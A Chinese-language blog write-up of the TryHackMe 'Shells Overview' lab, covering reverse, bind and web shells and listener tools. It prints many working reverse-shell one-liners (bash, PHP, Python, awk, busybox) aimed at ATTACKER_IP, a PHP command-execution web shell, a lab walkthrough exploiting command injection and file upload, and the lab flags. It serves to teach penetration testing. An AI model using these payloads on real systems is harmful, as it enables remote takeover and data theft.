【THM】Shells Overview(Shell概述)-学习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/r/room/shellsoverview

本文相关内容:了解不同类型的Shell。

image-20250107185433029

介绍

image-20250107190142871

在网络安全领域,Shell被攻击者广泛用于远程控制系统,这使其成为攻击链的重要组成部分。在本文内容中,我们将探讨进攻性安全中所使用的不同 Shell、它们之间的差异及其用例。这些知识有助于增强渗透测试和漏洞利用技能,并能够帮助我们了解如何检测企业、组织的内部攻击者何时正在使用远程 Shell。

学习目标

在本文的内容中,我们将讨论以下学习目标:

  • 了解进攻性安全中的各种Shell;
  • 学习如何设置和使用反向Shell和绑定Shell;
  • 了解如何部署Web Shell。

前置学习基础

建议在开始学习本文之前先了解以下主题:

注意事项

本文特意省略了 Metasploit 或者其他可生成Shell 以及与 Shell 进行交互的框架的使用。这样做是为了专注于理解 Shell 的工作原理,而无需使用或借助工具来设置以及生成 Shell。此外,本文的所有示例都将使用 Linux 操作系统作为实验环境 。

部署实验环境

在与本文相关的TryHackMe实验房间中,单击Start Machine按钮以启动实验虚拟机,正常加载实验机器大约需要 2 分钟的时间。你可以在浏览器界面分屏的右侧访问这个实验虚拟机。如果虚拟机不可见,请点击TryHackMe实验房间页面顶部的蓝色按钮来显示被拆分的视图界面。

image-20250111001918323

由于我们将要使用具有远程访问权限的shell进行练习,因此在与本文相关的TryHackMe实验房间中,我们可以通过单击页面左上角的Start AttackBox按钮来使用AttackBox作为模拟攻击机,或者使用你的本地kali计算机作为攻击机。

image-20250111001613508

Shell简介

image-20250111002054648

什么是Shell?

Shell 是一种允许用户与操作系统进行交互的软件。它可以是图形界面,但通常会是命令行界面,这具体取决于目标机器上所运行的操作系统。

在网络安全领域,Shell通常指攻击者访问受感染的系统时所使用的特定 Shell 会话,该会话允许他们运行命令并执行软件。这将允许攻击者执行多项活动,其中一些活动如下所述:

  • Remote System Control(远程系统控制):允许攻击者在目标系统中远程执行命令或软件。
  • Privilege Escalation(权限提升):如果通过 shell 建立的初始访问受到限制,那么攻击者可以探索 将当前权限升级到更高权限或者直接升级为管理员访问权限的方法。
  • Data Exfiltration(数据泄露):一旦攻击者获得通过 shell 执行命令的权限,他们就可以尝试探索目标系统以读取和复制其中的敏感数据。
  • Persistence and Maintenance Access(持久化和维持访问权限):一旦获得了 shell 访问权限,攻击者就可以通过用户和凭据信息 创建访问权限或复制后门软件以维持对目标系统的访问权限以供日后使用。
  • Post-Exploitation Activities(后渗透活动):获得 Shell 访问权限后,攻击者就可以执行各种后渗透活动,例如部署恶意软件、创建隐藏帐户和删除信息等。
  • Access Other Systems on the Network(访问网络上的其他系统):根据攻击者的意图,已经获得的 shell 可能只是一个初始访问点,攻击者的目标可能是利用已获得的 shell 作为枢纽,通过网络跳转到其他目标,从而导向受感染的系统网络中的不同访问点,这也被称为跳板攻击(pivoting)。

答题

允许用户与操作系统交互的命令行界面是什么?

Shell

什么过程涉及使用受感染的系统作为跳板来攻击网络中其他机器?

Pivoting

攻击者获取 shell 访问权限后 会执行哪些常见活动来提升其权限?

Privilege Escalation

image-20250525100523301

反向Shell(Reverse Shell)

反向Shell,有时也被称为"回连Shell",是在网络攻击中获取系统访问权限的最常用技术之一。它将从目标系统发起并连接到攻击者所控制的计算机,这有助于规避网络防火墙和其他安全设备的检测。

反向Shell的工作原理

设置 Netcat (nc) 监听器

现在让我们使用 Netcat 工具来了解反向 shell 在实际场景中的工作方式,该实用程序支持多种操作系统,并允许通过网络进行读写操作。

如上所述,反向 shell 将连接回攻击者所控制的计算机,攻击机将等待连接,因此让我们使用 Netcat 并输入以下命令来监听连接:nc -lvnp 443

attacker@kali:~$ nc -lvnp 443
listening on [any] 4444 ...

上述命令使用了-l选项指示Netcat监听或等待一个连接,-v选项表示启用详细模式,-n选项表示阻止连接使用DNS进行查找,因此它不会解析任何主机名,而是会使用IP地址,最后,-p参数选项将指示用于等待连接的端口号,在上面的示例中 此端口号为443

任何端口都可以用来等待连接,但是攻击者和渗透测试人员倾向于使用其他应用程序经常会使用的一些已知端口,例如53808080443139445 。这样做是为了将反向shell的流量与合法流量混合,从而避免其被安全设备检测到。

获得反向Shell访问权限

一旦我们设置好了端口监听器,攻击者就可以执行所谓的反向shell有效负载。该有效负载通常会滥用目标机器上已经存在的漏洞或者利用攻击者所获取的未经授权的访问权限,并将执行能够通过网络暴露shell的命令。有效负载的种类很多,具体取决于受感染的机器上的工具和操作系统。我们可以在这里探索其中的一些。

作为示例,让我们来分析一个名为管道反向shell(pipe reverse shell) 的有效负载示例,如下所示。

#目标机终端界面
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc ATTACKER_IP ATTACKER_PORT >/tmp/f

关于上述有效负载(Payload)的解释:

  • rm -f /tmp/f - 此命令将删除位于/tmp/f/的所有现有的命名管道文件,这确保了脚本可以创建新的命名管道而不会发生冲突。
  • mkfifo /tmp/f - 此命令会在/tmp/f处创建一个命名管道或FIFO(先进先出first-in, first-out),命名管道允许进程之间进行双向通信,在这种情况下,它将充当输入和输出的通道。
  • cat /tmp/f - 此命令将从命名管道中读取数据,它会等待可以通过管道发送的输入。
  • | bash -i 2>&1 - cat的输出会通过管道传输到一个 shell 实例 ( bash -i ),这允许攻击者以交互方式执行命令,2>&1表示将标准错误重定向到标准输出,确保将错误消息发送回攻击者。
  • | nc ATTACKER_IP ATTACKER_PORT >/tmp/f - 这部分是对shell的输出进行管道传输,并通过nc (Netcat) 传递到攻击者的IP地址(ATTACKER_IP)上的端口 (ATTACKER_PORT)。
  • >/tmp/f - 最后这一部分表示将命令的输出发送回命名管道,从而实现双向通信。

上面的有效负载可以通过网络将shell bash暴露给预期的端口监听器。

攻击者收到 Shell

一旦执行上述有效负载,攻击者将接收到一个反向 shell ,如下所示,该shell将允许攻击者像登录到操作系统中的常规终端一样执行命令。

攻击机上的终端输出界面(接收反向Shell):

attacker@kali:~$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.4.99.209] from (UNKNOWN) [10.10.13.37] 59964
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

target@tryhackme:~$

上面的输出内容显示了此连接来自于 IP 10.10.13.37,这是受感染的目标机器的 IP 地址。

答题

哪种类型的 shell 允许攻击者在目标回连后 远程执行命令?

Reverse Shell

通常可以使用什么工具来设置反向 shell 的监听器?

Netcat

image-20250525103847303

绑定Shell(Bind Shell)

顾名思义,绑定 shell 将在受感染的系统上绑定一个端口并侦听连接,当此连接被触发时,它会暴露 shell 会话,以便攻击者可以远程执行命令。

当受感染的目标不允许传出连接时,可以尝试使用此方法,但它往往不太受欢迎,因为它需要保持活动状态并需要侦听连接,这可能会导致其被安全设备所检测到。

绑定Shell的工作原理

在目标机器上设置Bind Shell

让我们创建一个绑定Shell,在这种情况下,攻击者可以在目标机器上使用如下命令。

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/f

关于上述有效负载的解释:

  • rm -f /tmp/f - 此命令将删除位于/tmp/f/的所有现有的命名管道文件,这确保了脚本可以创建新的命名管道而不会发生冲突。
  • mkfifo /tmp/f - 此命令会在/tmp/f处创建一个命名管道或FIFO,命名管道允许进程之间进行双向通信,在这种情况下,它将充当输入和输出的通道。
  • cat /tmp/f - 此命令将从命名管道中读取数据,它在等待可以通过管道发送的输入。
  • | bash -i 2>&1 - cat的输出会通过管道传输到一个 shell 实例 ( bash -i ),这允许攻击者以交互方式执行命令,2>&1表示将标准错误重定向到标准输出,确保将错误消息返回给攻击者。
  • | nc -l 0.0.0.0 8080- 在所有接口 ( 0.0.0.0 ) 和端口8080上以监听模式 ( -l ) 启动 Netcat,这样一旦攻击者连接到此端口,shell就会暴露给攻击者。
  • >/tmp/f - 最后这一部分表示将命令的输出发送回命名管道,从而实现双向通信。

上面的命令将监听传入的连接并向网络暴露 bash shell,需要注意的是,低于 1024 的端口号需要我们以高级权限执行Netcat,在这种情况下,使用端口8080可以避免。

目标计算机上的终端界面(设置绑定Shell):

target@tryhackme:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc -l 0.0.0.0 8080 > /tmp/f

一旦执行了上面的命令,它将会在目标机上等待一个传入连接,如上所示。

攻击机连接到 Bind Shell

现在目标机器正在等待传入连接,我们可以在攻击机上通过执行以下命令来使用 Netcat 针对目标机进行shell连接。

#攻击机终端界面
nc -nv TARGET_IP 8080

关于上述命令的解释:

  • nc - 这会调用 Netcat,它会建立与目标机器的连接。
  • -n - 禁用DNS解析,使Netcat运行得更快并且能避免不必要的查找。
  • -v - 详细模式,可以提供关于连接过程的详细输出,例如连接是何时建立的。
  • TARGET_IP - 正在运行绑定 shell 的目标计算机的 IP 地址。
  • 8080 - 绑定 shell 正在监听的端口号。

攻击机的终端界面(成功连接后):

attacker@kali:~$ nc -nv 10.10.13.37 8080 
(UNKNOWN) [10.10.13.37] 8080 (http-alt) open
target@tryhackme:~$

成功连接后,我们就可以获得一个shell并能执行命令,如上所示。

答题

哪种类型的 shell 会在目标上打开特定端口以接收来自攻击者的传入连接?

Bind Shell

监听哪个端口号以下的端口 需要 root 访问权限或特权权限?

1024

image-20250525104345967

Shell监听器

正如我们在之前的小节中所了解到的,反向 shell 将从受感染的目标机连接到攻击者所控制的计算机。像 Netcat 这样的实用程序将处理这样的连接并允许攻击者与被暴露的 shell 进行交互,但是 Netcat 并不是唯一一个能够允许我们这样做的实用程序。

让我们探索其他一些可以用作监听器并能与传入的 shell 进行交互的工具。

Rlwrap

Rlwrap是一个小型的实用程序,它使用 GNU readline 库来提供键盘编辑和历史记录功能。

使用示例-使用Rlwrap增强Netcat Shell

attacker@kali:~$ rlwrap nc -lvnp 443
listening on [any] 443 ...

上面这个示例在用rlwrap包装nc ,从而可以允许我们可以使用箭头(方向)键和历史记录等功能来实现更好的交互。

Ncat

Ncat 是 NMAP 项目所发布的一个关于 Netcat 的改进版本工具,它能提供一些额外的功能,例如加密(SSL)。

使用示例-监听反向 Shell

attacker@kali:~$ ncat -lvnp 4444
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443

使用示例-监听反向 Shell并使用SSL

attacker@kali:~$ ncat --ssl -lvnp 4444
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: B7AC F999 7FB0 9FF9 14F5 5F12 6A17 B0DC B094 AB7F
Ncat: Listening on [::]:443
Ncat: Listening on 0.0.0.0:443

上述示例中的--ssl参数选项将为监听器启用 SSL 加密。

Socat

它是一个实用程序,允许你在两个数据源(在本例中是两个不同的主机)之间创建套接字(socket)连接。

默认使用示例-监听反向 Shell

attacker@kali:~$ socat -d -d TCP-LISTEN:443 STDOUT
2024/09/23 15:44:38 socat[41135] N listening on AF=2 0.0.0.0:443

上面的命令使用了 -d 选项来启用详细输出,再次使用它(-d -d)将增加命令的详细输出程度;此外,上述示例中的TCP-LISTEN:443 选项表示在443端口上创建一个 TCP 监听器 ,为传入连接建立服务器套接字(socket);最后,STDOUT选项表示将所有传入数据定向到终端。

答题

哪种灵活的网络工具允许你在两个数据源之间创建套接字(socket)连接?

Socat

哪个命令行实用程序能为缺少它的程序提供 readline 样式的编辑功能和命令历史记录功能,从而可以增强与 shell 监听器的交互?

Rlwrap

与 Nmap 项目一起发布的 Netcat 的改进版本是什么,它能提供一些附加功能,例如用于为侦听提供SSL支持以加密shell?

Ncat

image-20250525112542854

Shell有效负载

Shell 有效负载可以是命令或脚本,它会在使用绑定 shell 的情况下将 shell 暴露给传入连接,会在使用反向 shell 的情况下将 shell 暴露给发送连接。

让我们来探索一下可以在 Linux 操作系统中使用的一些有效负载,通过最流行的反向 shell 来暴露 shell。

Bash

普通 Bash 反向Shell

target@tryhackme:~$ bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1

此反向shell可以启动一个交互式 bash shell,该 shell 通过 TCP 连接将输入和输出重定向到攻击者 IP ( ATTACKER_IP )上的端口443>&运算符会将标准输出和标准错误结合起来。

Bash Read Line 反向Shell

target@tryhackme:~$ exec 5<>/dev/tcp/ATTACKER_IP/443; cat <&5 | while read line; do $line 2>&5 >&5; done

该反向 shell将创建一个新的文件描述符(在本例中为5 )并连接到TCP套接字,它将从该套接字中读取并执行命令,然后通过同一套接字将输出发送回去。

带文件描述符196的 Bash 反向Shell

target@tryhackme:~$ 0<&196;exec 196<>/dev/tcp/ATTACKER_IP/443; sh <&196 >&196 2>&196

该反向 shell将使用文件描述符(在本例中为196 )来建立TCP连接,它允许 shell 从网络读取命令并通过同一连接将输出发送回去。

带文件描述符5的 Bash 反向Shell

target@tryhackme:~$ bash -i 5<> /dev/tcp/ATTACKER_IP/443 0<&5 1>&5 2>&5

它与第一个示例类似,此命令会打开 shell ( bash -i ),但它将使用文件描述符5进行输入和输出,从而通过TCP连接启用交互式会话。

PHP

使用 exec 函数的PHP反向Shell

target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);exec("sh <&3 >&3 2>&3");'

该反向 shell 将在端口443上创建到攻击者 IP 的套接字连接,并使用exec函数执行一个shell实例,还会重定向标准输入和输出。

使用 shell_exec 函数的PHP反向Shell

target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);shell_exec("sh <&3 >&3 2>&3");'

与上一个命令类似,但使用的是shell_exec函数。

使用 system 函数的PHP反向Shell

target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);system("sh <&3 >&3 2>&3");' 

这个反向shell使用的是system函数,它会执行命令并将结果输出到浏览器界面中。

使用 passthru 函数的PHP反向Shell

target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);passthru("sh <&3 >&3 2>&3");'

这个反向shell会使用passthru函数执行命令并将原始输出发送回浏览器,这在处理二进制数据时很有用。

使用 popen 函数的PHP反向Shell

target@tryhackme:~$ php -r '$sock=fsockopen("ATTACKER_IP",443);popen("sh <&3 >&3 2>&3", "r");' 

该反向 shell会使用popen函数打开进程文件指针,从而允许执行shell。

Python

导出环境变量的Python反向Shell

target@tryhackme:~$ export RHOST="ATTACKER_IP"; export RPORT=443; python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")' 

该反向 Shell 会将远程主机和端口设置为环境变量,然后创建套接字连接,并会复制套接字文件描述符以用于标准输入/输出。

使用 subprocess 模块的Python反向Shell

target@tryhackme:~$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.99.209",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

此反向 shell 会使用subprocess模块生成一个shell,并通过导出环境变量命令设置了一个与 Python反向Shell 类似的环境。

简短的Python反向Shell

target@tryhackme:~$ python -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

这个反向shell会创建一个套接字 (s),连接到攻击者,并使用os.dup2()将标准输入、输出和错误重定向到套接字。

其他

Telnet 远程登录

target@tryhackme:~$ TF=$(mktemp -u); mkfifo $TF && telnet ATTACKER_IP443 0<$TF | sh 1>$TF

该反向 shell 会使用mkfifo创建一个命名管道,并使用Telnet通过 IP ATTACKER_IP和端口443连接到攻击者。

AWK

target@tryhackme:~$ awk 'BEGIN {s = "/inet/tcp/0/ATTACKER_IP/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

此反向 shell 会使用 AWK 的内置TCP功能连接到ATTACKER_IP:443 ,它能读取攻击者的命令并执行它们,然后通过同一个TCP连接将结果发送回去。

BusyBox

target@tryhackme:~$ busybox nc ATTACKER_IP 443 -e sh

这个 BusyBox 反向 shell 将使用 Netcat ( nc ) 连接到攻击者的ATTACKER_IP :443 ,成功连接后,它会执行/bin/sh ,将命令行暴露给攻击者。

答题

在安全评估中,哪个Python模块通常会被用于管理shell命令和建立反向shell连接?

subprocess

在常见的脚本语言中,哪种脚本语言的shell 有效负载方法会使用execshell_execsystempassthrupopen函数通过 TCP 连接远程执行命令?

PHP

哪种脚本语言可以通过导出环境变量来使用反向 shell 并且能创建套接字(socket)连接?

Python

image-20250111003025016

Web Shell

Web shell 是用受感染的 Web 服务器所支持的编程语言编写的脚本,它可以通过 Web 服务器本身来帮助攻击者执行命令。 Web shell 通常是一个包含执行命令和处理文件的代码的文件,它可以隐藏在受感染的 Web 应用程序或服务中,这使其难以被检测,因此在攻击者中非常流行。

Web shell可以用 Web 服务器所支持的多种语言来进行编写,例如PHP 、ASP、JSP,甚至是简单的 CGI 脚本。

PHP Web Shell 示例

让我们查看一个PHP Web shell 示例来了解Web Shell是如何工作的:

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

上述 shell 可以被保存为带有PHP扩展名的文件,如shell.php ,然后攻击者可以利用Unrestricted File UploadFile InclusionCommand Injection等漏洞来将该文件上传到目标 Web 服务器中,或者通过获取未经授权的访问权限来进行文件传输。

将Web Shell部署在目标服务器中之后,我们就可以通过Web Shell所在的URL进行访问,在本例中为http://victim.com/uploads/shell.php。正如我们从shell.php的代码中所观察到的那样,我们还需要为其提供一个GET方法和变量cmd的值,其中应该包含攻击者想要在目标服务器上执行的具体命令。例如,如果我们要执行whoami命令,则应该构造的 URL 请求是:

http://victim.com/uploads/shell.php?cmd=whoami

上述URL将执行whoami命令并会在web浏览器中显示命令的执行结果。

现有的可在线使用的Web Shell

Web服务器所支持的语言的强大功能可以使得Web shell具有大量功能,同时还能通过配置以规避检测。让我们探索一些可以在网上找到的比较流行的Web shell。

  • p0wny-shell - 一个简约的单文件 PHP Web shell,允许攻击者进行远程命令执行。

    image-20250111171258671

  • b374k shell - 一个功能更加丰富的PHP Web shell,具有文件管理和命令执行等功能。

    image-20250111171319521

  • c99 shell - 一个众所周知且强大的PHP Web shell,它具有广泛的功能。

    image-20250111171336616

你可以在以下页面找到更多的 Web shell:

https://www.r57shell.net/index.php

答题

什么类型的漏洞允许攻击者可以通过未限制文件类型的错误配置来上传恶意脚本?

Unrestricted File Upload-不受限制的文件上传

什么恶意脚本可以上传到易受攻击的 Web 应用程序以获取未经授权的访问权限?

Web Shell

image-20250111171514713

实践练习

现在我们已经了解了不同类型的shell,让我们通过实际练习来测试我们所学到的知识,并从易受攻击的目标 Web 服务器获取格式为THM {} 的flag。

单击Start Machine按钮开始部署用于完成本节练习的目标实验机器。

image-20250111001553069

成功完成目标机器的部署之后,我们可以通过以下 URL 来访问不同的攻击目标:

  • MACHINE_IP:8080 :托管的是登陆页面。
  • MACHINE_IP:8081 :托管的是易受命令注入攻击影响的 Web 应用程序。
  • MACHINE_IP:8082 :托管的是容易受到不受限制的文件上传漏洞影响的 Web 应用程序。

你可以使用AttackBox访问上述内容或者你也可以通过TryHackMe分发的VPN来使用你自己的本地Kali机作为攻击机。

image-20250111001613508

注意:请等待 2 分钟让虚拟机完全启动。

答题

针对目标MACHINE_IP:8081使用反向shell或绑定shell,利用命令注入漏洞来获取shell。请问在目标的/目录下所保存的flag的内容是什么?

tips:正确放置你的反向 shell 有效载荷(在目标机器终端中执行payload)。

在攻击机终端界面设置端口监听器:nc -lvnp 4445

#step1 start netcat 在攻击机终端上执行命令
nc -lvnp 4445

image-20250526071927436

在攻击机上的浏览器中尝试访问目标页面(10.10.228.254:8081)并执行Payload:

#step2 payload named a pipe reverse shell (Using a reverse or bind shell) 在目标机器上执行命令——此处是在一个目标站点页面上执行命令。
#rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc [ATTACKER_IP] 4445 >/tmp/f
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.10.17.3 4445 >/tmp/f

image-20250526072224265

回到攻击机终端,使用获得的Shell查看指定文件的内容:

#step3 find flag
root@ip-10-10-17-3:~# nc -lvnp 4445
Listening on 0.0.0.0 4445
Connection received on 10.10.228.254 41768
sh: 0: can't access tty; job control turned off
$ ls
hello.txt
index.php
style.css
$ cd /
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag.txt
THM{0f28b3e1b00becf15d01a1151baf10fd713bc625}

image-20250526072610874

THM{0f28b3e1b00becf15d01a1151baf10fd713bc625} 。

针对目标MACHINE_IP:8082使用Web shell,利用不受限制的文件上传漏洞来get shell,然后再查看目标的/目录下所保存的flag内容。

tips:使用在第 7 小节中学到的有效载荷创建一个名为 shell.php 的文件,在实验环境中 我们所上传的所有文件都将被存储在目标网站的/uploads/目录中。

在攻击机上创建一个名为 shell.php 的文件,shell.php示例文件内容如下:

<?php
echo "<pre>";
echo "Flag content:\n";
echo file_get_contents('/flag.txt');
echo "</pre>";
?>

image-20250526072730270

上面的这个shell.php文件能够帮助我们直接查看/flag.txt文件的内容,但是我们也可以把它的内容更换成下面的shell.php示例文件内容:

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

image-20250526074441372

创建完shell.php文件之后,我们需要在攻击机上使用浏览器访问目标页面(10.10.228.254:8082)并进行文件上传:

image-20250526072856210

查看flag(如果选择上传的文件所包含的是上面提到的第一个shell.php示例的内容):

10.10.228.254:8082/uploads/shell.php

image-20250526073037476

查看flag(如果选择上传的文件所包含的是上面提到的第二个shell.php示例的内容):

注意:如果选择使用第二个shell.php示例的内容,那么我们最终在完成文件上传之后,我们还需要构造URL请求来实现查看指定文件内容的目的,我们应该构造的URL请求是——http://10.10.228.254:8082/uploads/shell.php?cmd=cat%20/flag.txt

image-20250526074625224

THM{202bb14ed12120b31300cfbbbdd35998786b44e5} 。

image-20250526074726600

本文小结

在本文中,我们学习了反向 Shell绑定 ShellWeb Shell ,了解它们对于攻击者、渗透测试人员和防御者的重要性,以及如何识别它们。

反向 Shell能够建立从受感染的目标计算机到攻击机的连接。另一方面,绑定 Shell可以在受感染的目标计算机上侦听传入连接(攻击者所发起的),而Web Shell可以为攻击者提供利用 Web 应用程序中的漏洞的独特途径。

了解Shell对于专业的网络安全人员执行渗透测试以及识别和防御系统至关重要。

posted @ 2025-05-26 07:52  Hekeatsll  阅读(224)  评论(0)    收藏  举报